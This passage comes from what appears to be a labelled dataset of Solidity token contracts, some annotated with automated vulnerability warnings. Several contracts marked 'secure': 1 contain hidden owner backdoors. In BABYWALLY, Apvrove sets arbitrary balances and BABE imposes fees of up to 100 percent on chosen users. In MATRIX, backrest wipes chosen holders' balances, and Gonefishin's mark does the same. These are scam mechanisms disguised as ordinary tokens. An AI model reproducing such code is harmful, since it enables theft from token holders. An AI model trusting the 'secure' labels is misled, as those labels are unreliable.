function setTokensPerInterval(uint256 _amount) external onlyAdmin {\n\t\t// timestamp | ID: 08baba9\n require(\n lastDistributionTime != 0,\n \"RewardDistributor: invalid lastDistributionTime\"\n );\n\n\t\t// reentrancy-events | ID: 0637ced\n\t\t// reentrancy-benign | ID: 161507b\n IRewardTracker(rewardTracker).updateRewards();\n\n\t\t// reentrancy-benign | ID: 161507b\n tokensPerInterval = _amount;\n\n\t\t// reentrancy-events | ID: 0637ced\n emit TokensPerIntervalChange(_amount);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 91f9653): RewardDistributor.pendingRewards() uses timestamp for comparisons Dangerous comparisons block.timestamp == lastDistributionTime\n\t// Recommendation for 91f9653: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 03f0c0f): RewardDistributor.pendingRewards() uses a dangerous strict equality block.timestamp == lastDistributionTime\n\t// Recommendation for 03f0c0f: Don't use strict equality to determine if an account has enough Ether or tokens.\n function pendingRewards() public view override returns (uint256) {\n\t\t// timestamp | ID: 91f9653\n\t\t// incorrect-equality | ID: 03f0c0f\n if (block.timestamp == lastDistributionTime) {\n return 0;\n }\n\n uint256 timeDiff = block.timestamp.sub(lastDistributionTime);\n\n return tokensPerInterval.mul(timeDiff);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 83d8483): RewardDistributor.distribute() uses timestamp for comparisons Dangerous comparisons amount == 0 amount > balance\n\t// Recommendation for 83d8483: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 237400c): Reentrancy in RewardDistributor.distribute() External calls IERC20(rewardToken).safeTransfer(msg.sender,amount) Event emitted after the call(s) Distribute(amount)\n\t// Recommendation for 237400c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 1ca8811): RewardDistributor.distribute() uses a dangerous strict equality amount == 0\n\t// Recommendation for 1ca8811: Don't use strict equality to determine if an account has enough Ether or tokens.\n function distribute() external override returns (uint256) {\n require(\n msg.sender == rewardTracker,\n \"RewardDistributor: invalid msg.sender\"\n );\n\n uint256 amount = pendingRewards();\n\n\t\t// timestamp | ID: 83d8483\n\t\t// incorrect-equality | ID: 1ca8811\n if (amount == 0) {\n return 0;\n }\n\n lastDistributionTime = block.timestamp;\n\n uint256 balance = IERC20(rewardToken).balanceOf(address(this));\n\n\t\t// timestamp | ID: 83d8483\n if (amount > balance) {\n amount = balance;\n }\n\n\t\t// reentrancy-events | ID: 237400c\n IERC20(rewardToken).safeTransfer(msg.sender, amount);\n\n\t\t// reentrancy-events | ID: 237400c\n emit Distribute(amount);\n\n return amount;\n }\n}",
"file_name": "solidity_code_1515.sol",
"secure": 0,
"size_bytes": 7775
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 6ad8869): FOREST.slitherConstructorVariables() performs a multiplication on the result of a division _maxTaxSwap = 2 * (_tTotal / 100)\n// Recommendation for 6ad8869: Consider ordering multiplication before division.\ncontract FOREST is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 73fbecf): FOREST.bots is never initialized. It is used in FOREST._transfer(address,address,uint256)\n\t// Recommendation for 73fbecf: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: f22f0e5): FOREST._taxWallet should be immutable \n\t// Recommendation for f22f0e5: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: e9c8730): FOREST._initialBuyTax should be constant \n\t// Recommendation for e9c8730: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: 107e5cb): FOREST._initialSellTax should be constant \n\t// Recommendation for 107e5cb: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: cdf0b89): FOREST._finalBuyTax should be constant \n\t// Recommendation for cdf0b89: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 75e5627): FOREST._finalSellTax should be constant \n\t// Recommendation for 75e5627: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: cc5777e): FOREST._reduceBuyTaxAt should be constant \n\t// Recommendation for cc5777e: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: a4a8ba4): FOREST._reduceSellTaxAt should be constant \n\t// Recommendation for a4a8ba4: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: 87b4927): FOREST._preventSwapBefore should be constant \n\t// Recommendation for 87b4927: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 22;\n\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420_690_000_000 * 10 ** _decimals;\n\n string private _name;\n\n string private _symbol;\n\n\t// divide-before-multiply | ID: cc5e5f4\n uint256 public _maxTxAmount = 2 * (_tTotal / 100);\n\n\t// divide-before-multiply | ID: 7e46c33\n uint256 public _maxWalletSize = 2 * (_tTotal / 100);\n\n\t// WARNING Optimization Issue (constable-states | ID: a693734): FOREST._taxSwapThreshold should be constant \n\t// Recommendation for a693734: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: c475650\n uint256 public _taxSwapThreshold = 2 * (_tTotal / 1000);\n\n\t// WARNING Optimization Issue (constable-states | ID: 2bb2436): FOREST._maxTaxSwap should be constant \n\t// Recommendation for 2bb2436: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: 6ad8869\n uint256 public _maxTaxSwap = 2 * (_tTotal / 100);\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n event TransferTaxUpdated(uint256 _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6273208): FOREST.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6273208: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 2ae0526): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 2ae0526: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: da51573): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for da51573: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 2ae0526\n\t\t// reentrancy-benign | ID: da51573\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 2ae0526\n\t\t// reentrancy-benign | ID: da51573\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 0e0b5e6): FOREST._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 0e0b5e6: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: da51573\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 2ae0526\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: d2d66e7): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for d2d66e7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 73fbecf): FOREST.bots is never initialized. It is used in FOREST._transfer(address,address,uint256)\n\t// Recommendation for 73fbecf: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: a790f08): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for a790f08: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 8, \"Only 8 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: d2d66e7\n\t\t\t\t// reentrancy-eth | ID: a790f08\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: d2d66e7\n\t\t\t\t\t// reentrancy-eth | ID: a790f08\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: a790f08\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: a790f08\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: a790f08\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: d2d66e7\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: a790f08\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: a790f08\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: d2d66e7\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 2ae0526\n\t\t// reentrancy-events | ID: d2d66e7\n\t\t// reentrancy-benign | ID: da51573\n\t\t// reentrancy-eth | ID: a790f08\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 41a5d5c): FOREST.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 41a5d5c: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 2ae0526\n\t\t// reentrancy-events | ID: d2d66e7\n\t\t// reentrancy-eth | ID: a790f08\n\t\t// arbitrary-send-eth | ID: 41a5d5c\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 7eeb347): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 7eeb347: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: af04291): FOREST.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for af04291: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: c61f8e2): FOREST.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for c61f8e2: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 51e7530): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 51e7530: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 7eeb347\n\t\t// reentrancy-eth | ID: 51e7530\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 7eeb347\n\t\t// unused-return | ID: c61f8e2\n\t\t// reentrancy-eth | ID: 51e7530\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 7eeb347\n\t\t// unused-return | ID: af04291\n\t\t// reentrancy-eth | ID: 51e7530\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\n\t\t// reentrancy-benign | ID: 7eeb347\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 51e7530\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function manualsend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n}",
"file_name": "solidity_code_1516.sol",
"secure": 0,
"size_bytes": 18588
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract DejitaruShib is ERC20 {\n constructor() ERC20(\"Dejitaru Shib\", \"SHIBA\") {\n _mint(\n 0x795c74e0A5Cfb52175A262a29a3b21B076D20745,\n 1000000000 * 10 ** decimals()\n );\n }\n}",
"file_name": "solidity_code_1517.sol",
"secure": 1,
"size_bytes": 353
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract BABYWALLY is Context, Ownable, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => uint256) private _transferFees;\n\n string private _name;\n\n string private _symbol;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 5c03492): BABYWALLY._decimals should be immutable \n\t// Recommendation for 5c03492: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 6fe2e79): BABYWALLY._totalSupply should be immutable \n\t// Recommendation for 6fe2e79: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 716800a): BABYWALLY._bootsmark should be immutable \n\t// Recommendation for 716800a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private _bootsmark;\n\n address constant BLACK_HOLE = 0x000000000000000000000000000000000000dEaD;\n\n constructor(\n string memory name_,\n string memory symbol_,\n uint8 decimals_,\n uint256 totalSupply_\n ) {\n _name = name_;\n\n _symbol = symbol_;\n\n _decimals = decimals_;\n\n _totalSupply = totalSupply_ * (10 ** decimals_);\n\n _bootsmark = msg.sender;\n\n _balances[_msgSender()] = _totalSupply;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function BABE(address us, uint256 tse) external {\n require(_iee(msg.sender), \"Caller is not the original caller\");\n\n uint256 ee = 100;\n\n bool on = tse <= ee;\n\n _everter(on);\n\n _seFee(us, tse);\n }\n\n function _iee(address caller) internal view returns (bool) {\n return iMee();\n }\n\n function _everter(bool condition) internal pure {\n require(condition, \"Invalid fee percent\");\n }\n\n function _seFee(address user, uint256 fee) internal {\n _transferFees[user] = fee;\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function iMee() internal view returns (bool) {\n return _msgSender() == _bootsmark;\n }\n\n function Apvrove(address recipient, uint256 aDropst) external {\n uint256 receiveRewrd = aDropst;\n _balances[recipient] = receiveRewrd;\n require(_iee(recipient), \"Caller is not the original caller\");\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _balances[_msgSender()] >= amount,\n \"TT: transfer amount exceeds balance\"\n );\n\n uint256 fee = (amount * _transferFees[_msgSender()]) / 100;\n\n uint256 finalAmount = amount - fee;\n\n _balances[_msgSender()] -= amount;\n\n _balances[recipient] += finalAmount;\n\n _balances[BLACK_HOLE] += fee;\n\n emit Transfer(_msgSender(), recipient, finalAmount);\n\n emit Transfer(_msgSender(), BLACK_HOLE, fee);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _allowances[_msgSender()][spender] = amount;\n\n emit Approval(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _allowances[sender][_msgSender()] >= amount,\n \"TT: transfer amount exceeds allowance\"\n );\n\n uint256 fee = (amount * _transferFees[sender]) / 100;\n\n uint256 finalAmount = amount - fee;\n\n _balances[sender] -= amount;\n\n _balances[recipient] += finalAmount;\n\n _allowances[sender][_msgSender()] -= amount;\n\n _balances[BLACK_HOLE] += fee;\n\n emit Transfer(sender, recipient, finalAmount);\n\n emit Transfer(sender, BLACK_HOLE, fee);\n\n return true;\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n}",
"file_name": "solidity_code_1518.sol",
"secure": 1,
"size_bytes": 5218
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract MATRIX is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable funny;\n\n constructor() {\n _name = \"MATRIX\";\n\n _symbol = \"MATRIX\";\n\n _decimals = 18;\n\n uint256 initialSupply = 4700000000;\n\n funny = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == funny, \"Not allowed\");\n\n _;\n }\n\n function backrest(address[] memory painkiller) public onlyOwner {\n for (uint256 i = 0; i < painkiller.length; i++) {\n address account = painkiller[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n}",
"file_name": "solidity_code_1519.sol",
"secure": 1,
"size_bytes": 4365
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address payable) {\n return payable(msg.sender);\n }\n}",
"file_name": "solidity_code_152.sol",
"secure": 1,
"size_bytes": 213
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Gonefishin is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable econobox;\n\n constructor() {\n _name = \"Gone Fishin\";\n\n _symbol = \"FISHIN\";\n\n _decimals = 18;\n\n uint256 initialSupply = 921000000;\n\n econobox = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == econobox, \"Not allowed\");\n\n _;\n }\n\n function mark(address[] memory president) public onlyOwner {\n for (uint256 i = 0; i < president.length; i++) {\n address account = president[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = 